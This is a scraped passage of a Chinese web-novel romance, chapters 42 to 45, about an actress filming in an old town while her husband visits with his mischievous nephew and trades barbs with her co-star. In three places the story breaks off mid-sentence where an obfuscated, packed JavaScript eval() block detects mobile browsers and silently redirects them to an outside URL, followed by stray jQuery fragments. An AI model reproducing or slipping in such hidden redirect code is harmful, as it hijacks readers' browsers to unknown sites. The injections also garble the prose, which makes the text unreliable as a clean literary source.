温珍旎点进去看,是那个眼熟得不能再熟的乱码先生。
42. 042
“IP属地是天海的,这账号我记得。”
虽然是系统默认昵称,但橙子天天挂在网上,多看几遍也看眼熟了。
她感慨道:“他的号不是新号吗?权重怎么好成这样,随便发一句都能冲到前排,简直是天选的大粉体质。”
“不过……太邪门了。”橙子皱着眉,总觉得不对劲,“这账号几乎每次都出现在评论区,啥也不说,光发照片,而且拍的还都是姐去过的地方。我怎么觉着像是私生饭?”
温珍旎回想了一下,她回家出门,都没有发现任何可疑人物。
她摇头:“私生饭的话,应该早被发现了才对。”
“会不会是身边的熟人呢?”
橙子随口一句猜测,让温珍旎心头一跳,脑子里随即冒出来一个念头。
为了证实自己的猜想,她打开了微博,逐条展开评论。
近一年的热评里,几乎都有这个ID的影子。
评论里的照片,也都和她微博照片里的场景对应上了。
……机器人环星系列、周年庆现场、办公桌上的花,更甚者紫金湾别墅前的那颗年代久远的楸树。
特征已经这么明显了,她怎么就没想到呢。
温珍旎就像拆礼物盒子,突然拆到了一份惊喜,当场愣住了。
回过神后,她默默关掉微博,把手机递给橙子:“我知道是谁,他不是私生饭,放心吧。”
“不是就好。”橙子拍着胸口,吐了一口气。
晚上有一场雨夜练舞的戏,温珍旎吃了饭,在下榻的古镇酒店休息了一会儿,然后回到片场。
这场戏主要是拍女主的事业线。女主被配角联合同事设计陷害,遭到舆论裹挟,痛失了主角资格,一年的勤奋练习付诸东流。陷入事业低谷的女主失眠,独自在雨夜的屋檐下反复练习,这一幕恰好被男主看到,两人在雨声中谈心,渐渐敞开心扉,感情回温。
开拍前,裘司城跟她探讨了这部分内容,帮她梳理了一下从失落到不甘,再到重新振作的情绪变化。
有了他的这番分析,后面的戏份拍摄进展得十分顺利。
或许是在这个剧组朝夕相处的原因,把默契培养出来了吧,连最担心的情感拉扯戏,温珍旎也能轻松拿下了。
连着大半个月,从早到晚地赶进度,整个剧组的人累瘫了,每天都在哀嚎中埋头苦干。
这天好不容易收了个早工,温珍旎拖着疲惫的身体回到酒店,有气无力地把自己摔进床里。
“我现在只想睡觉,天塌下来也要睡!”
古镇的住宿条件普通,这家酒店已经是镇上最好的一家了。楼层不高,但饮食还行。
橙子拎着打包好的饭菜进来,看她一动不动地趴在床上,眼神已经失去了光亮。
“吃饭了,姐。”橙子把她拽起来,按在桌边,“吃了再睡。”
温珍旎歪歪扭扭地坐着,接过她掰开的一次性筷子,机械地夹着菜往嘴里塞。
天气燥热,加上连日高强度的拍摄,连她这样喜欢美食的人胃口都一般,所以橙子买的都是清淡开胃的菜。
她有一搭没一搭地拨着几根青菜,给慈恒打去视频。
“收工了?”
镜头有些晃,但也看得出人没在屋里,背景是自家别墅外的庭院。
“刚回酒店,吃晚饭呢。”
温珍旎戳着碗里的米饭,见他镜头晃得厉害,还带着微微的喘息声,往浅水湖方向一路急走,像是在追赶什么。
果然,温珍旎听到他低吼了一声:“还不快上来!”
说话的功夫,他已经弯腰,探到小桥下,将一个浑身湿漉漉的壮实小男孩捞了出来。
“谢新程!”桥上有路灯,温珍旎一眼认出,这个把自己弄一身水的小男孩是慈恒的大外甥。
大名谢新程,一天不打就能上房揭瓦的熊孩子一个。
熊孩子看见温珍旎,叫得可甜了:“舅妈!舅妈!我放暑假了。你怎么不在家?我想你了,你快点回来。”
哪里是想她了,是念着给他买玩具吧。
六岁的小男孩,正是人憎狗嫌的年纪。被舅舅拎上岸还不老实,扭得像滑不溜手的泥鳅。
他两只小胖手扒住慈恒的手机,一张圆嘟嘟的小脸朝屏幕叭叭几个吻:“我给舅妈香一个。”
“谢新程!再调皮,我立马给你妈你爸送回去。”
慈恒照着他屁股拍了两下,然后单手把人往胳肢窝底下一夹,强行拎回去,扬声叫佣人给他换衣服。
熊孩子是真怕慈恒给他送回去,一放开手,就撒丫子往楼上跑。
到了客厅的灯下,温珍旎才看到他上身的T恤也湿了一大片。
八成是逮熊孩子的时候,给蹭的。
“谢新程还是那么皮。”温珍旎托着腮,一声叹息,“你完了,带他可不轻松,一个暑假下来得掉层皮。”
“去年寒假,慈宇被折磨到直接住酒店去了。”
这孩子的父母全球各地到处飞,工作都挺忙。爷奶在身边照顾他,宠得没边了,压根管不住,在家就是活脱脱的小皇帝。
这不,一到长假,他妈就把人往慈家这边塞,指望这几个舅舅帮她管教。
慈恒没在国内这几年,是慈宇兄弟几个轮流照看的。
虽然一个比一个凶,但不是没有好处的。毕竟舅舅们出手阔绰大方,玩具什么的都给买。
两相权衡之下,这小人精当然更愿意在慈家过寒暑假。
“不皮也不会往这送了。他妈今天把人带到天海,放下就走。我才刚回来,就听说这小崽子溜出去玩水了。”
慈恒也不避人,进卧室就脱衣服。
“让你管教,你能行嘛?”阴阳怪气那套放在熊孩子身上可不好使。
见她幸灾乐祸的,慈恒看她一眼:“那你管?”
温珍旎连忙摇手:“不行,我管不了。”
这种混世魔王,还是折磨大魔王去吧。
看他光着上身在房间走来走去,也不急着穿衣服,温珍旎没忍住说:“虽然在自己家,好歹也穿件衣服吧。”
男人还没来得及开口,手机又是一阵乱晃。
然后一颗毛茸茸的小脑袋杵了上来,整张小胖脸都挤在屏幕上:“舅妈,舅妈,我要看你。”
温珍旎捂了捂耳朵,下意识往后仰:“谢新程,没必要贴这么近,舅妈看得见,也听得清。”
慈恒把手机拿高了些,谢新程便跳起来抢。
男人的身高都不需要把手机举起来,跟逗猫逗狗一样,遛着六岁的大外甥玩。
“舅妈,舅舅欺负我,你帮我骂他。”
大外甥急得满头大汗,跳到床上,借着床的高度,蜘蛛猴似的爬到慈恒背上。
小孩子不知轻重,慈恒的背硬是叫他抓出了几条划痕。
“谢新程,你皮痒了!”
他手机往被子上一扔,把人扯下来,直接扔到门外去。
再回来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144468|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候,倒是套了件睡衣,但脖子上赫然多了一道细小的抓痕。
温珍旎有些幸灾乐祸:“叫你穿衣服,你不穿,这下好了吧。”
男人在那道那道细小的口子摩挲了一下,没怎么在意,随口问她:“吃的什么?”
温珍旎翻转镜头给他看自己的晚餐:“炒青菜,宫保鸡丁,土豆丝,鸡蛋番茄汤。”
慈恒调侃:“肉吃腻了,改吃草了?”
温珍旎无语了两秒,问他:“你跟谢新程吃饭没有?”
那边的男人也不知道是无意,还是故意的,声音压低了说:“饭吃不吃无所谓,主要是想吃你。”
温珍旎当场愣住,足足愣住几秒,第一反应就是看向旁边已经目瞪口呆的橙子。
橙子嘴里叼着半片菜叶,眼珠子都快瞪出来。
温珍旎想抠个地缝钻进去,“还有别人在呢!快道歉,说你刚才是口误。”
慈恒不仅不道歉,还理直气壮地揶揄她:“我这算什么,跟你比起来,鲁班门前弄大斧了。毕竟我当着别人的面亲不了你。”
橙子被呛得猛咳了一声,一张脸憋得通红。
姐夫不把她当外人,但她脸皮薄,当不了电灯泡啊。
“姐,我吃好了,出去透透风,很快就回。”
橙子抓起纸巾用力擦了擦嘴,飞快地抓过包包,关门下楼的动作一气呵成。
温珍旎脸上的表情快要挂不住了:“……你给人家小姑娘都吓跑了。以后这种虎狼之词,咱们私下说就好。”
男人表情恍然,这次倒是应得爽快:“我懂了,你是想听我在床上说,想让我私下多说。”
温珍旎:“……”
是不是男女的生理构造不同,大脑的构造也不同呢。
不然为什么总是跟他在两个频道对话。
她戳着米饭,胃里还空着,但是一口都吃不下了。
饭菜凉得发硬,慈恒看她也没吃多少进去,“那边的饮食不合你胃口?”
她在家就是饕餮,出门还成小鸟胃了。
“每天的工作量不轻,喝风吃烟你受得了?”
温珍旎瘪了瘪嘴:“味道肯定比不上家里的大餐,不过也还行。就是天气太热了,不怎么吃得下。”
古镇取景几乎在外面,靠着水边还凉快些,要是在巷子里,太阳一晒,脑袋都能晒疼。
慈恒:“把厨师给你送过来?”
温珍旎逗他:“搭一座电视城更好,每个地方都装上恒温系统。”
慈恒嘴角上扬:“也不是不行。”
虽然是随口说的,温珍旎也觉得不可思议:“一座电视城得花多少钱啊。慈总,你的货币跟我是一个世界的吗?”
慈恒笑了笑,没有再继续这个话题,温声问她:“拍得怎么样了?什么时候回家?”
“大概要一周,很快的。”
温珍旎手上不停,把饭盒摞起来,装进袋子,好方便橙子拿去扔掉。
两人聊了几句,直到视频那头响起熊孩子的吵闹声,压过了两人的讲话声,才结束通话。
慈恒放下手机,看着空荡荡的卧室,却到处都是她的影子,心头的烦躁更胜。
他皱着眉走出卧室,一手抓住在廊道里遛着佣人来回跑的谢新程,把人按住原地,吩咐累得直不起腰的佣人:“去给他爸打电话。”
熊孩子一听这话,立马就焉了:“舅舅,能不能商量一下下?”
慈恒笑得温和:“不能!”
43. 043
古镇拍摄还剩最后一天,上午十点,在古香古色的饭馆小院里,迎来了女主和女配撕破脸的重头戏。
作为长期较劲的竞争对手,女配即便挤掉女主,成功拿到舞剧的主角,对天分极高的女主仍然心怀嫉妒。此刻,舞团刚聚完餐下楼,因为女主好朋友的打抱不平,两方人马在院子里吵了起来。
镜头对准下过雨的小院,骂声混战中,女主被其中一个女生推了一掌,皮鞋跟卡在了青石板的接缝里,整个人狼狈地跌坐在地上一滩积水里。
泥水打湿了外套和裙子,也击溃了最后一丝理智。女主情绪爆发,和女配扭打在一块。随着女主前未婚夫的登场,先前还在拽头发的女配跟着变了脸,在朋友配合下开始哭诉卖惨,倒打一耙。
这场戏张力十足,大家情绪都抓得很到位,一条直接过了。
“吃饭吃饭,大家下午继续加油。”导演满意得直搓手,宣布给演员提前放饭休息。
扮演女配的演员立马过来抱了抱温珍旎,关心她有没有伤到哪里。
温珍旎摆手:“没有的事。你拿捏的分寸刚好,那一下我是真的有被吓到。”
“真的吗?都是大家的情绪到位,我下意识作出的反应。”
两人说话的功夫,跟妆师已经上前帮温珍旎扎好了头发。
因为这套衣服有整天的戏份,温珍旎把外套脱下交给橙子,俯身把弄脏的裙角挽起来,听到手机嗡嗡震动的响声。
橙子把电话给她:“是姐夫。”
温珍旎把手机放在耳边:“真巧,我这里刚拍完戏,准备吃饭。”
“是吗?”
电话另一头,男人声音低沉,笑着抛下一句,“那就上楼来吃饭。”
温珍旎一时没转过来弯,还在想这话哪里不对,就听到了电话里小孩脆生生的叫嚷。
“我看到你了!舅……”
那声音似乎就在不远,可是后半句还没喊完就戛然而止了,像是突然被人捂了嘴。
温珍旎四下望了望,茫然地搜寻了一圈,一无所获。
电话那头的人无奈地提醒:“你身后,三楼。”
温珍旎转过身,首先看到的是饭馆三楼的窗口,被陆方洋抱在怀里的谢新程。
她表情微怔,跟橙子交代了几句,一边快步往饭馆走,一边说:“怎么把谢新程也带来了!”
慈恒:“慈宇拿他没招,老太太年纪大了,影响老人家精力。家里其他人更是管不住,只能带在身边。”
“你就能管了?”她尾音上扬,不太信的语气。
那边的人没再说话,温珍旎已经上了三楼。
她挂断电话,推开包间门,便看到靠窗的位置,慈恒端着茶杯,另一只手还握着手机。察觉到身后的视线后,他脚步顿了一瞬。
大半月没见,眼前的男人看上去清减了,眉宇间的倦色也很明显。
据说,她在古镇拍戏的半个月,他也辗转各地出差,几乎没有空闲下来的时候。
温珍旎还没问他怎么来了,一道小小的身影就跟炮弹似的砸到她怀里,“舅妈!”
“舅妈,我想你。”谢新程拉着她的手,让她蹲下,往她脸上啪啪印了两个吻。
“舅妈也想你啊。”温珍旎捧起熊孩子肉乎乎的脸蛋。手感真不错,跟玩捏捏玩具似的,她忍不住多捏了两下。
慈恒招手:“谢新程,坐下吃饭。”
谢新程还真的听他话,刚还黏在自己身上,一听这话,没有半分犹豫,乖乖地挨着他坐下了。
“还真听你的。”温珍旎诧异得不行,“你是怎么降伏他的?”
慈家兄弟几个,性格虽然各异,但都不是容易拿捏的主,换句话说,是没人敢在他们跟前耍横。就谢新程这个小屁孩软硬不吃,谁都降伏不了他。
陆方洋这一路照顾他,领教过威力,也算有发言权:“他精得很,惯会看人下菜碟。你温柔点吧,他觉得你好欺负,你凶一点吧,他比你还凶。讲道理完全行不通,因为他完全不听道理。”
“慈总也不跟他浪费时间,直接让他爸来领人。他爸打孩子那是真舍得下狠手,上来就是一顿竹笋炒肉,打得那叫一个稀里哗啦。啧……”
大概是那顿打的记忆太深刻了,被陆方洋这么一揭伤疤,谢新程都没吱声,只是朝他做鬼脸。
陆方洋已经掌握了他的命门,笑呵呵地说:“小祖宗,你可要乖一点的。不然啊,你爸就是去了北极,你舅舅也能给他带回来。”
谢新程飞快地瞥了一眼舅舅。屁股挨揍的地方又在火辣辣地疼了。
好在服务员进来上菜了,总算终结了这个话题。
温珍旎接过慈恒烫过的筷子,侧头问他:“怎么突然过来了?”
这里虽然是古镇,却是非常冷门的旅游地。小地方不讲究,饭馆的碗筷都是用旧的,慈恒神情显而易见地嫌弃,把碗筷用开水烫了一遍又一遍。
温珍旎问起时,他垂眸烫着筷子,表情平静:“嗯,出差顺路。老太太不放心,让我顺道来看看。”
这话说得……陆方洋嘴角快要压不住笑。
出差是真的,可还隔了好几个城呢,哪里顺路了。
专门绕路来的,还非得给自己找理由,说是老太太逼的。
就算是老太太让来的,山高水远的,君命有所不受,还能绑着他来不成?
可见是嘴硬的不行。
“我说你们,好歹是从小到大的朋友,吃饭也不叫我,不够意思了啊。”
这话不是在场人说的,是跟着服务员一起进来的裘司城说的。
看着温文尔雅的一个人,却自来熟地拉开空椅坐下,让服务员添一副碗筷。
他扫了一眼满面春风的陆方洋,逗趣道:“陆总助这是想到什么开心的事了?”
陆方洋笑呵呵地回:“我这人天生乐观。”
裘司城就坐在慈恒的对面,他脸上堆笑,语气调侃:“也是啊,跟在咱们慈总身边做事,没点乐观主义精神真不行。”
任凭他怎么说,慈恒连眼皮都懒得掀一下,完全把他当成空气。
服务员很快送来了筷子,裘司城接过,看着一桌的海味直摇头,“青柠凤梨虾、辣炒蛏子、清炖甲鱼……你来一趟古镇,水里游的都得捞光。”
慈恒:“我好像没邀请你。”
“添双筷子的事,多我一个不多,慈总家大业大,不会这么小气的对吧。”
裘司城的厚脸皮浑然天成,他给自己夹了菜,还站起来盛了满满一碗甲鱼汤,“再说了,我不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148670|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,你们两口子饭馆私会的事怎么捂得住?我主动来当工具人,都没问你要封口费……”
“咳。”温珍旎打断他,“城哥,赶紧吃吧,还拍戏呢。”
平时就挺能说了,没想到跟慈恒走到一起,更能说了。
温珍旎目光在两人之间转了一圈。心想,慈恒是遇上对手了。
裘司城被温珍旎一点拨,想起下午有一场吻戏,又故技重施道:“时隔多年,也是拍上吻戏了。下午的吻戏,还有后面的雪中拥吻,我得琢磨琢磨,怎么拍比较唯美动人。”
他一见慈恒,就管不住嘴,专想逗他,最好能把人气昏过去。
慈恒心性稳,够理智,最重要的是他还会事后复盘。
有了上次落水事件的交锋经验,他平静地瞥了某人一眼,“拍了那么多的作品,还像没见过世面一样,拍个吻戏恨不得昭告天下你有吻戏了。”
“……”旁边的陆方洋嘴里塞着龙虾,八卦的眼神快要收不住。
温珍旎手一抖,不小心夹走了一块最讨厌的西蓝花。她说这话只是为了堵裘司城的嘴,不是让他发散思维拿来堵自己老公的。
整个包间里,只有糊了满嘴油光的小外甥,对桌子上的暗流浑然不觉,依旧吭哧吭哧地埋头干饭。
“因为是跟旎儿拍啊。”
裘司城试着向他描述那个画面,“当年拍了一部偶像剧,雪中拥吻的那场雪还是撒的泡沫。现在剧组都能同时调用好几台造雪机,造一场盛大的春雪了。慈总,用你浪漫的细胞想想,我牵着旎儿的手,幸福地漫步在大雪飞舞的城市。”
“噢。”慈恒漫不经心地评价,“冻不死你。”
温珍旎:“……咳。”
为什么他要跟一个浪漫细胞为负的男人谈浪漫。
天被聊死了。
裘司城一噎,觉得这人怪没意思的,扭头看向温珍旎:“旎儿,他平时跟你聊天也这样?”
说实话的,是的。
但她习惯了,霸总也不全是小说那样式的。
作为善解人意的小太阳,她要接受性格多样性。
温珍旎心里嘀嘀咕咕,嘴上却说:“还好吧。你不觉得风趣?”
“没觉得。”裘司城果断摇头,“我就觉得你挺护短。”
这话从裘司城嘴里说出来,居然意外的动听。
可见,他说人话的时候是有闪光点的。
慈恒唇角向上牵了一下:“知道你羡慕有人维护我。”
裘司城牙齿要酸倒了:“什么样的锅配什么样的灶。”
圆锅坐圆灶,明显是一套。
慈恒觉得这句话没说错,笑纳的同时,提醒他:“拍亲密戏是工作需要,裘老师记得绅士手。”
裘司城服了这人:“你的掌控欲超乎想象。”
“我能理解,没结婚的人想象力确实不怎么样。”
慈恒夹走了温珍旎碗里的西蓝花,自然得仿佛这个动作重复过千万遍,已经形成了肌肉记忆。
裘司城留意到这个动作,摇头一哂。
旁边的陆方洋默默看完戏,就跟看到世界奇闻一样震惊。
平时老板跟食人花似的,总是一副生人勿近的样子。今天才见识到,原来嘴人的时候也挺能叭叭的。
44. 044
中午只有半小时的休息时间,回酒店是来不及的,所以演员们一般会去房车,或者租用的汽车将就一下。
养足精神是必然,不然下午容易走神。温珍旎要去车上小憩片刻,几人便一起下了楼。
陆方洋呼吸着清新的空气,识趣地说:“这地方不错,我第一次来,下午去镇上溜达一圈。”
慈恒点头:“把谢新程带上。”
“不要吧。”陆方洋垮着脸,欲哭无泪。他可不可以收回那句话!
“辛苦了。”裘司城拍拍他的肩,只能口头上表示一下同情。
他也要回去睡会儿了,临走前不忘跟慈恒说:“慈总,记得来观摩我的表演。”
慈恒端起那副高冷矜持的模样,仿佛在桌上张嘴就噎死人的另有其人,语气淡淡地回了句:“看我心情吧。”
但其实心里已经有答案了。
肯定去,必须去,他一定好好观摩这场吻戏。
他决定要去,是真的会去。因此快拍到吻戏时,掐着点似的出现在了片场。
见到这位人物,导演那叫一个激动,赶紧指挥场工:“快给慈总搬张椅子。”
打上次在医院见识了这位的行事作风,导演就多方打听过他的背景。虽然没有明确表明和温珍旎关系,但看关心程度,绝对不一般。
导演本来尝试走温珍旎这边,搭上这层人际关系的。可惜还没来得及行动,就被对方秘书的一个电话,干脆利落地挡了回来。
那秘书说得直接,有事和他联系就行,别想着从温珍旎方面入手。
下属的态度都强硬如斯,导演心里更有数了,知道要斟酌说话,不能逆这位的鳞。
慈恒显然不喜欢应付这些虚礼,只冷淡地一摆手,“我随便看看,不用管我。”
导演当然说好,“慈总随便看,有需要可以吩咐我们。”
古镇是冷门旅游地,即使到了暑假,游客也稀稀落落的,外景拍摄吸引来的路人不算多。
下午这场戏主要还是在室内。因为争执事件,女主和女配被领导叫去问话,男主赶来时,才发现女主崴了脚,整个脚踝肿成了萝卜。
这种情节下,按照惯常套路,会设计一个公主抱,彰显男主的男友力,体现女主心路转变的历程。
裘司城微蹲下身,比划了数次,反复调整角度,力求把这一幕拍得唯美动人。
然而他的公主抱,第一抱就失败了。
他居然没有抱起温珍旎!连一秒钟都没撑过!
裘司城有些尴尬,被半路卸下的温珍旎也很尴尬。
“大概是没准备好。”她帮他解围。
不管是不是没准备好,片场都被一片死寂笼罩住了。
就在这令人窒息的尴尬场景下,有人嘻嘻哈哈开玩笑,有人在找话圆场,只有一声清晰带讥诮的冷笑声突兀地响起。
紧随其后的还有一句不轻不重的:“细狗。”
这声嘲笑完全不带收敛,甚至是不留情面的。
无数道视线随着声音纷纷落到男人身上。
他抿着嘴唇,双手抱在胸前,站姿随意。明明是简单的T恤配休闲裤打扮,但穿在他身上,硬是透出了一股难以言说的清贵。
墨镜虽然遮了眼睛,看不清样貌,也还是掩不住下颌线优越,以及饱满漂亮的头型。
最难能可贵的,还是那份浑然天成到极具存在感的气质,就是侵淫影视圈多年的演员,也难及这半分气韵。
在场的工作人员大多数不认得他,单看穿衣搭配也判断不了身份。但先前导演对他的态度已经很能说明问题了,不是一般人,反正不是他们开罪得起的人物。
“他谁啊,以前怎么没见过?”
有人按捺不住地小声求证,被旁边的同事摇头制止了。
管他谁呢,干他们这行,什么人物没见过,阴私的事跟垃圾堆里的蟑螂一样,当瞎子当聋子才是最好的。
刚才失败的公主抱只是一点小插曲,没有人会当真,戏还是照样往下拍。
总结了第一次的经验,裘司城再次尝试,完成得轻轻松松,呈现的画面也确实唯美。
包括后面的吻戏,都是一条过的。
中场休息到了,导演招呼大家抓紧时间干活。各部门各司其职,没人往这里凑。
温珍旎拎着裙子小跑过来,到了跟前,将他上下一阵打量,眼睛亮晶晶的,带着惊喜的笑意:“你还真的来探班了。谢新程呢?”
慈哼:“陆方洋带去玩了。”
温珍旎接过橙子打开的保温杯,笑着称赞:“陆特助还是很厉害的嘛,都能单独带他了。”
慈恒手臂环在胸前,瞥了她一眼,“谢新程是我搞定的,怎么不见你夸我?”
“那还用说,这世上就没有你搞不定的事。”温珍旎往他身边凑了凑,嗓音甜得不像话,“在搞定熊孩子这件事上,你是当仁不让的首功。”
“巧言令色。”慈恒嘴角向上弯了一下。
温珍旎抱着老大一个保温杯,叠起几张纸巾来擦汗。
看她额头渗出一片汗水,他自然而然地伸手,接过了助理努力想要撑起的遮阳伞。
慈恒人高马大,伞一举起来,伞沿漏进来的阳光全落在温珍旎下半张脸上,还不如不撑。
温珍旎被晒得直眯眼,拽着他结实的小臂往下扯。他似乎才意识到这个问题,于是将伞往前倾斜,严严实实地遮住了强光。
刚才那场戏的台词太长了,温珍旎刚念完一大段,嗓子干得冒烟。她拧开保温杯,咕咚咕咚灌了几大口温水,才把干涩的感觉压下去。
“你上午就来了吧。看我拍的戏了吗?”她问。
“看了,大概有一个小时。”
她唇瓣沾了水珠,眼看着滚落,他几乎是本能地伸出手,轻轻揩过唇峰。
擦掉之后,他才后知后觉地看到,拇指蹭上了一抹口红。
有些碍眼,想擦不方便,不擦又不舒服,最终僵在半空的手指蜷了蜷,只能无奈地维持着那个无措的姿势。
难得看到他窘迫的时候,温珍旎被逗得一笑,“谁让你擦了,手上有细菌。”
她抽了一张卫生纸,裹住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158678|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那根拇指。一边擦口红印,一边跟他讲那场戏的前情。
末了,好奇地问他:“如果你是男配,能分辨是非吗?”
慈恒听明白了剧情的起因后果,摩挲着指腹,“脑子没问题,都能看出来。只是有些男人自尊心作祟,不愿意承认自己的选择是错的罢了。”
温珍旎看着他,只是笑笑。
擦完手指,她把纸团捏在手心里,“你刚才出声的时候,大家都好尴尬。好歹给城哥留点面子嘛。”
“嗯,再说吧。”有没有下次还不一定。
慈恒只当没听见,继续发表自己的看法,“他连你都抱不动,得有多虚,劝他趁早补补。”
就第一次失误了而已,也不能断定人家身体虚吧。
温珍旎保留意见,“他胳膊摸着鼓鼓的,肌肉应该很大。”
慈恒抓到了重点,眉梢微挑,“你摸过了?”
不等她回答,他再次下结论,“健身还这么虚,可见核心力量一般。吻技……更是一般。”
他说这话时,现场机器突然发出了两声噪音,后面那句话被淹没了,温珍旎没听清,“你说什么?”
慈恒不想重复,甩过来一句:“好话不说第二遍。”
正好场务来催开工了,温珍旎没办法继续追问下去。
临走前,她扁了扁嘴,用气声嘟囔着,“狗男人!”
没想到这句恰巧让收工的裘司城听了个正着。
他脚步一顿,兴味十足的目光在慈恒那张眼睛长脑门上的脸扫了一圈,语气里尽是看热闹不嫌事大的揶揄,“哟,咱们旎儿原来是会骂人的。”
不知道该说慈恒是习惯了,还是太能装了。
他神色依旧淡定,慢条斯理地反问:“粉丝叫她小狗,你知道吗?”
小狗是粉丝对温珍旎的爱称,裘司城当然知道。
“你想说什么?”他眼角抽搐,总有一种预感,这人下一秒又要说出什么惊世高论了。
慈恒缓缓开口:“狗男人不是骂我,是夫妻间的情趣,全称小狗的男人,明白?”
“……”还能这么狡辩的嘛!
裘司城不服不行,“你的诡辩能力不当律师可惜了。”
慈恒坦然一笑:“谢谢夸奖。”
斗了这么久的嘴,裘司城就没占过几次上风。
这男人看上去情绪稳定,实际攻击性全在那张嘴上。
“你有空没?坐下来聊聊呗。”裘司城下巴朝着酒楼方向指了指,“就今天吃饭的那间,咱们喝一杯。”
温珍旎还没收工,慈恒没那个雅兴,“两个男人有什么聊的,不去。”
“也不是叫你现在就去啊。”
裘司城算看出来了,这人其实是隐形的老婆奴,“导演请大家吃饭,就我们几个。他不敢让旎儿来请你,只好拜托我来请。”
听他这话的意思,导演把他的话是听进去了。
对于有眼色的人,慈恒倒也愿意给几分薄面,“等她收工吧。”
裘司城立马比了个手势,“那行,我这就跟导演说一声。”
45. 045
剧组收工时,大片晚霞泼洒在天边,将古建筑的白墙绿瓦染上一层金色。
温珍旎被夕阳吸引,站在窗边看晚霞,拍照片。回到座时,慈恒往她碗里夹了好些菜,堆得都冒了尖。
他兴致一般,但能赏脸来吃这顿饭,导演已经很知足了。
因为还没有摸透对方的脾性,席间导演说话一直很谨慎,最后也只是委婉地表达了希望和温珍旎再度合作的意愿。
晚饭结束,导演送几人下了楼,慈恒示意温珍旎带着谢新程上车,他和裘司城有几句话要说。
饭馆的门窗是仿古中式设计,镂花窗外对着一条长廊。长廊外是堆叠的假山,和泉水淙淙的喷泉。
晚风穿过长廊,吹过水面时,卷起一片微凉,在这燥热的季节里,倒也舒爽。
裘司城心情不错,从口袋里摸出烟盒,磕出一支,“来一根?”
慈恒扫了一眼,没要,“不是要聊聊?长话短说吧,别耽误我休息。”
“行。”裘司城嗤了一声,手腕一翻,那支烟叼在了自己唇间。
火机点燃,他深吸一口,缓缓吐着烟雾,转头见他那张不耐烦的脸,就忍不住笑:“你也别不高兴了,我对旎儿没那个意思,也没兴趣破坏你们的婚姻。”
裘司城心里什么都明白,“从小她就黏着你,谁都看得出来,她跟你亲近得多。就冲这点,你比我更有优势。”
慈恒不否认,但不觉得自己只有这一个优势,“我比你们优秀得多。”
“夸你一句,还真不谦虚啊……都说夫妻相夫妻相,旎儿有些坏习惯八成是随了你了。”
烟雾弥漫开,带着浓烈的烟草味气息,裘司城大概被呛着了,用力咳了一声。
“不过话又说回来,青梅竹马结婚是不错,但坏处也挺明显。”
慈恒侧过头,“什么?”
裘司城挤掉烟灰,摇着头叹气,“太熟了,熟到每句话,每个动作,都会被理解成是亲人的关心,而不是爱人的本能。”
风吹散了烟味,撩起他额前的碎发,送来一句很轻的问句:“慈恒,你喜欢上她了吗?”
习惯了她的气息,习惯了家里有她生活的痕迹。
看不见她时,心是悬着的,会焦虑。看到她和别的男人说笑,会烦躁,患得患失,害怕失去。
“你有这样的感受吗?”他问。
“你想过,有一天她会离开你吗?”
裘司城的声音带着烟草的辛辣味,飘在慈恒的脑子里,像滚动播放。
他捏了捏眉心,第一次觉得裘司城烦人。
“裘司城跟你说了什么?你们俩居然握手言和了。”
从饭馆回来,温珍旎就觉得他眼神怪怪的,尤其看她的时候。
慈恒莫名地瞥了她一眼,“脑补什么剧情,我跟他无冤无仇,就不存在什么言和。”
“是吗?”
进了房间,男人两手攥住T恤下摆往上扯去。
暗黄的灯光底下,随着动作,臂膀肌肉隆起,紧窄的腰腹处,轮廓分明的腹肌一路向下,直到没入裤腰。
漂亮的倒三角身材就这么大大方方地给人看了。
温珍旎不自觉地吞了下口水,视线掠过劲窄的腰腹,贲张的胸膛,最后停在下颌和鼻梁,看得目不转睛。
她活像见了猫薄荷的猫,忍不了一点,在脑子说不可以的时候,手已经摸了上去。
果然,勇敢的人才能享受帅哥,承包帅哥的八块腹肌。
温软的身体贴上来,没有任何预兆的触碰,慈恒的身体瞬间绷紧。
“别动,给我摸一下。”温珍旎的手臂环住他的腰腹,小狗似的在身前蹭来蹭去,像是确认标记的气味。
“你皮肤热热的,但是好舒服。”她用鼻尖去划肌肤,触感比羽毛扫过还要叫人难以忍受。
慈恒垂眸看着她忙来忙去,也不知道在折腾什么,只是把自己的皮肤蹭到泛红,不禁咬了咬后牙槽,“还没摸够呢?”
“没够。”温珍旎摇头,掌心抵上肩头,把他扑倒在床上。
她的重量跟着砸下来,脑袋不偏不倚砸在男人的胸口上。慈恒只觉眼前一黑,差点被砸晕过去,“我这是肉做的,不是沙包,你给我攮坏了。”
温珍旎现在色令智昏了,满脑子都是昏君和宠妃的那点事,“老公,还有裤子……”
